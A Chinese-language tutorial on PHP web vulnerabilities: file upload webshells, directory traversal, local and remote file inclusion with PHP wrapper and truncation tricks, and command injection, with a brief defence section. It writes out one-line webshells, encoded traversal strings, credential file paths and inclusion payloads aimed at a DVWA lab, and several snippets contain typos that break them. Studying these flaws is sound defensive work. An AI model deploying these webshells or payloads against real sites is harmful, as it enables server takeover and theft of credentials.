文件包含上传漏洞目录遍历命令执行漏洞
字数 2615 2025-08-15 21:31:50
文件上传、目录遍历与命令执行漏洞详解
一、文件上传漏洞
1. 一句话木马基本结构
一句话木马主要由两部分组成:
- 执行函数
- 接收被执行代码的变量
常见执行函数及利用方式:
-
eval()
<?php @eval($_POST['shell']);?>利用方式:上传后访问
webshell.php?shell=phpinfo() -
assert()
<?php @assert($_POST['shell']);?>利用方式与eval()类似
-
create_function()
<?php $func = create_function('',$_POST['shell']);$func();?>利用:
shell=phpinfo() -
array_map()
<?php $func = $_REQUEST['func']; $way = $_REQUEST['way']; $array[0] = $way; $new_array = array_map($func,$way); ?>利用:
?func=system()&way=whoami -
call_user_func() / call_user_func_array()
<?php call_user_func(assert,$_GET['cmd']);?> <?php $array[0] = $_POST['shell']; call_user_func_array(eval,$array); ?> -
array_filter()
<?php $cmd = $_POST['cmd']; $array[0] = $cmd; array_filter($array,assert) ?>
2. 文件操作函数
-
file_put_contents()
<?php $test = "<?php @eval($_GET['shell']);?>"; file_put_contents('test1.php',$text); ?> -
fputs()
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']');?>
3. 动态函数
<?php $_GET['a']($_GET['b'])?>
利用:?a=eval&b=phpinfo()
4. 隐藏函数技术
-
base64_decode()
<?php $a=base64_decode("YXNzZXJ0"); @a($_POST['shell']); ?> -
parse_str()
<?php $str="a=eval"; parse_str($str); $a($_POST['shell']); ?>
二、目录遍历漏洞
1. 常见攻击方式
-
Unix系统
- 使用
../进行目录回溯
- 使用
-
Windows系统
- 使用
../或..\进行目录回溯
- 使用
-
URI编码形式
%2e%2e%2f→../%2e%2e/→../..%2f→../%2e%2e%5c→..\
2. 敏感文件路径
Windows系统:
c:\boot.ini- 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml- IIS配置文件c:\windows\repair\sam- 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini- MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD- MySQL root密码c:\windows\php.ini- php配置信息
Linux/Unix系统:
/etc/passwd- 账户信息/etc/shadow- 账户密码文件/usr/local/app/apache2/conf/httpd.conf- Apache2默认配置文件/usr/local/app/php5/lib/php.ini- PHP相关配置/etc/my.conf- mysql配置文件
三、文件包含漏洞
1. PHP文件包含函数
include()- 找不到文件时警告,继续执行include_once()require()- 找不到文件时致命错误,停止执行require_once()file_get_contents()- 把整个文件读入一个字符串
2. 本地文件包含(LFI)
示例代码:
<?php $filename = $_GET['filename']; include($filename);?>
利用方式:?page=../../dvwa/info.php
3. 防御绕过技术
-
%00截断
- 要求:
magic_quotes_gpc = Off- PHP版本<5.3.4
- 利用:
page=info.php%00
- 要求:
-
0x00截断
- 要求与%00相同
- 方法:
- 在文件末尾加标志:
info.php a - 用burp抓包,将空格(0x20)改为0x00
- 在文件末尾加标志:
-
路径长度截断
- Windows:目录最大长度256字节
- Linux:目录最大长度4096字节
- 利用:
?page=info.php.(添加足够多的点)
4. 远程文件包含(RFI)
- 要求:
allow_url_fopen = Onallow_url_include = On
- 利用:
?page=http://172.16.12.128/phpinfo.php
5. PHP伪协议利用
-
file://
- 无需特殊配置
- 格式:
file://文件的绝对路径 - 示例:
?page=file://D:/www/dvwa/dvwa/info.php
-
php://filter
- 用于读取源码
- 格式:
php://filter/read=convert.base64-encode/resource=文件路径 - 示例:
?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php
-
php://input
- 要求:
allow_url_include=on - 将POST数据作为PHP代码执行
- 示例:
POST /vulnerabilities/fi/?page=php://input <?php phpinfo();?>
- 要求:
-
data://
- 要求:
allow_url_fopen=on和allow_url_include=on - 用法1:
?page=data:text/plain,<?php phpinfo(); ?> - 用法2:
?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
- 要求:
-
zip://
- 无需特殊配置
- 格式:
zip://archive.zip#dir/file.txt - 注意:#要用%23代替
- 示例:
?page=zip://D:\www\dvwa\dvwa\test.jpg%23info.php
-
phar://
- 类似zip://
- 示例:
?page=phar://D:\www\dvwa\dvwa\php.zip\info.php
四、命令执行漏洞
1. 系统命令执行函数
-
system()
system("whoami"); -
passthru()
passthru("whoami"); -
exec()
exec("whoami", $output); -
pcntl_exec()
pcntl_exec("/user/bash", array("whoami")); -
shell_exec()
shell_exec("whoami"); -
popen()
$handle = popen("/bin/ls", "r"); -
proc_open()
$process = proc_open("whoami", array(), $pipes); -
反单引号
echo `whoami`;
2. 命令拼接符
&- 无论如何都执行&&- 前一个成功才执行后一个;- 顺序执行|- 将前一个命令的输出作为后一个命令的输入
五、防御措施
1. 文件上传防御
- 检查Content-Type
- 检查文件头
- 重命名上传文件
- 限制上传目录不可执行
- 检查文件扩展名
2. 目录遍历防御
- 禁止用户输入中包含
../ - 使用basename()函数获取文件名
- 设置open_basedir限制访问目录
3. 文件包含防御
- 禁用
allow_url_include - 对包含文件进行白名单验证
- 使用绝对路径而非相对路径
4. 命令执行防御
- 禁用危险函数
- 对用户输入进行严格过滤
- 使用escapeshellarg()或escapeshellcmd()处理参数